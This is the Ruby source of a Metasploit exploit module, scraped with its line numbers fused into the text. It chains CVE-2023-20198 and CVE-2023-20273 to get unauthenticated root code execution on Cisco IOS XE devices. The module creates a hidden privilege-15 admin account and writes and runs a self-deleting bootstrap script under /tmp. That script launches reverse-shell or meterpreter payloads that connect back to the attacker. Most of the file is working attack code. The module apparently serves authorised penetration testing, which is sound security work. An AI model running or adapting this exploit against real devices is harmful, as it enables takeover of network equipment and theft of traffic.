Path: blob/master/modules/exploits/linux/misc/cisco_ios_xe_rce.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HTTP::CiscoIosXe9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Retry11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Cisco IOX XE Unauthenticated RCE Chain',18'Description' => %q{19This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE20devices which have the Web UI exposed. An attacker can execute a payload with root privileges.2122The vulnerable IOS XE versions are:2316.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,2416.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,2516.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,2616.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,2716.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,2816.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,2916.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,3016.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,3116.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,3216.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,3316.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,3416.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,3516.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,3617.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,3717.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,3817.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,3917.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,4017.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,4117.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,4217.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,4317.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,4417.11.99SW4546NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even47though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.48},49'License' => MSF_LICENSE,50'Author' => [51'sfewer-r7', # MSF Exploit52],53'References' => [54['CVE', '2023-20198'],55['CVE', '2023-20273'],56# Vendor advisories.57['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'],58['URL', 'http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'],59# Vendor list of (205) vulnerable versions.60['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'],61# Technical details on CVE-2023-20198.62['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/'],63['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/'],64# Technical details on CVE-2023-20273.65['URL', 'https://blog.leakix.net/2023/10/cisco-root-privesc/'],66# Full details of a successful exploitation attempt from a honey pot.67['URL', 'https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf'],68],69'DisclosureDate' => '2023-10-16',70'Privileged' => true,71'Platform' => %w[linux unix],72'Arch' => [ARCH_CMD],73'Targets' => [74[75# Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:76# cmd/linux/http/x64/meterpreter/reverse_tcp77# cmd/linux/http/x64/shell/reverse_tcp78# cmd/linux/http/x86/shell/reverse_tcp79'Linux Command',80{81'Platform' => 'linux',82'Arch' => [ARCH_CMD]83},84],85[86# Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:87# cmd/unix/python/meterpreter/reverse_tcp88# cmd/unix/reverse_bash89'Unix Command',90{91'Platform' => 'unix',92'Arch' => [ARCH_CMD]93},94]95],96'DefaultTarget' => 0,97'DefaultOptions' => {98'RPORT' => 443,99'SSL' => true100},101'Notes' => {102'Stability' => [CRASH_SAFE],103'Reliability' => [REPEATABLE_SESSION],104'SideEffects' => [IOC_IN_LOGS]105}106)107)108109register_options(110[111# We allow a user to specify the VRF name to route traffic for the payloads network transport. The default of112# 'global' should work, but exposing this as an option will allow for usage in more complex network setups.113# A user could leverage the auxiliary module auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 to114# inspect a devices configuration to see an appropriate VRF to use.115OptString.new('CISCO_VRF_NAME', [ true, "The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.", 'global']),116# We may need to try and execute a command a second time if it fails the first time. This option is the maximum117# number of seconds to keep trying.118OptInt.new('CISCO_CMD_TIMEOUT', [true, 'The maximum timeout (in seconds) to wait when trying to execute a command.', 30])119]120)121end122123def check124# First, a get request to the root of the Web UI, this lets us verify the target is a Cisco IOS XE device with125# the Web UI exposed (which is the vulnerable component).126res = send_request_cgi(127'method' => 'GET',128'uri' => normalize_uri('webui', '/')129)130131return CheckCode::Unknown('Connection failed') unless res132133# We look for one of two identifiers to ensure the request to /webui/ above returns something with Cisco in the content.134if res.code != 200 || (!res.body.include?('Cisco Systems, Inc.') || !res.headers['Content-Security-Policy']&.include?('cisco.com'))135return CheckCode::Unknown('Web UI not detected')136end137138# By here we know the target is the IOS XE Web UI. We leverage the vulnerability to pull out the version number,139# so if this request succeeds, then we know the target is vulnerable.140res = run_cli_command('show version', Mode::PRIVILEGED_EXEC)141142# If the above request failed, then the target is safe.143return CheckCode::Safe unless res144145version = 'Cisco IOS XE Software'146147# If we can pull out the version number via a regex, we do. If this fails, the target is still vulnerable148# (as the above call to run_cli_command succeeded), however maybe this firmware version uses a different format149# for the version information so our regex wont work.150# Note: Version numbers can have letters in them, e.g. 17.11.99SW or 16.12.1z2151if res =~ /(Cisco IOS XE Software, Version \S+\.\S+\.\S+)/152version = Regexp.last_match(1)153end154155# Now we leverage both CVE-2023-20198 and CVE-2023-20273 to ensure the target is actually vulnerable. For example,156# it has been observed that the C8000v series appliance version 17.6.5 is vulnerable to CVE-2023-20198, but not157# vulnerable to CVE-2023-20273, even though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.158# As this exploit chains both CVE-2023-20198 and CVE-2023-20273 together, the check routine must verify both CVEs159# work as expected in order to return CheckCode::Vulnerable (i.e. we cannot solely rely on a version based check via160# CVE-2023-20198).161begin162# NOTE: We pass verbose as false, because a check routine should not print status messages to the console, and163# do_auth_bypass may print several status messages if verbose is true.164do_auth_bypass(verbose: false) do |username, password|165do_rce_check(username, password)166end167rescue Msf::Exploit::Failed => e168# If either the auth bypass, or the command injection have failed (via a call to fail_with), we catch the169# exception here and return a CheckCode of Safe to indicate this target is not vulnerable. We can provide170# some additional context to the user by passing the Failure message to the CheckCode.171return CheckCode::Safe("#{e}. #{version}")172end173174CheckCode::Vulnerable(version)175end176177def exploit178do_auth_bypass(verbose: true) do |username, password|179do_rce_payload(username, password)180end181end182183def do_auth_bypass(verbose: true)184admin_username = rand_text_alpha(8)185admin_password = rand_text_alpha(8)186187# Leverage CVE-2023-20198 to run an arbitrary CLI command and create a new admin user account.188unless run_cli_command("username #{admin_username} privilege 15 secret #{admin_password}", Mode::GLOBAL_CONFIGURATION)189fail_with(Failure::UnexpectedReply, 'Failed to create admin user')190end191192begin193print_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'") if verbose194195yield(admin_username, admin_password)196ensure197print_status("Removing user '#{admin_username}'") if verbose198199# Leverage CVE-2023-20198 to remove the admin account we previously created.200if !run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION) && verbose201print_warning('Failed to remove user')202end203end204end205206def do_rce_payload(username, password)207# Leverage CVE-2023-20273 to run an arbitrary OS commands and bootstrap a Metasploit payload...208209# A shell script to execute the Metasploit payload. Will delete itself upon execution.210bootstrap_script = "#!/bin/sh\nrm -f $0\n#{payload.encoded}"211212# The location of our bootstrap script.213bootstrap_file = "/tmp/#{Rex::Text.rand_text_alpha(8)}"214215# NOTE: Rather than chaining the commands with a semicolon, we run them separately. This allows version 16.* and216# 17.8 to work as expected. Version 16.* did not work when semicolons were present in the command line.217218# Write a script to disk which will execute the Metasploit payload. We base64 encode it to avoid any problems219# with restricted chars, and leverage openssl to decode and write the contents to disk.220success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do221next run_os_command("openssl enc -base64 -out #{bootstrap_file} -d <<< #{Base64.strict_encode64(bootstrap_script)}", username, password)222end223224fail_with(Failure::UnexpectedReply, 'Failed to plant the bootstrap file') unless success225226# Make the script executable.227success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do228next run_os_command("chmod +x #{bootstrap_file}", username, password)229end230231fail_with(Failure::UnexpectedReply, 'Failed to chmod the bootstrap file') unless success232233# Execute our bootstrap script via mcp_chvrf.sh, and with 'global' virtual routing and forwarding (vrf) by234# default. The VRF allows the executed script to route its network traffic back the framework. The map_chvrf.sh235# scripts wraps a call to /usr/sbin/chvrf, which will conveniently fork the command we supply.236success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do237next run_os_command("/usr/binos/conf/mcp_chvrf.sh #{datastore['CISCO_VRF_NAME']} sh #{bootstrap_file}", username, password)238end239240fail_with(Failure::UnexpectedReply, 'Failed to execute the bootstrap file') unless success241end242243# We can check a target is vulnerable to CVE-2023-20273, by leveraging CVE-2023-20273 to write a file to the web root244# folder, and then read that file back out via an HTTP GET request. If we can read back out the expected data, we know245# the target is vulnerable to CVE-2023-20273.246def do_rce_check(username, password)247check_data = Rex::Text.rand_text_alpha(16)248249check_file = Rex::Text.rand_text_alpha(16)250251check_path = "/var/www/#{check_file}"252253cmd = "echo -n #{check_data} > #{check_path}"254255fail_with(Failure::UnexpectedReply, 'Failed to run check command via CVE-2023-20273') unless run_os_command(cmd, username, password)256257begin258res = send_request_cgi(259'method' => 'GET',260'uri' => normalize_uri('webui', check_file),261'headers' => {262'Authorization' => basic_auth(username, password)263}264)265266fail_with(Failure::UnexpectedReply, 'Failed to get check command output for CVE-2023-20273') unless res&.code == 200267268fail_with(Failure::UnexpectedReply, 'Failed to validate check command output for CVE-2023-20273') unless res&.body == check_data269ensure270# Deleting the output file can take more than one attempt.271retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do272next run_os_command("rm #{check_path}", username, password)273end274end275end276end277278279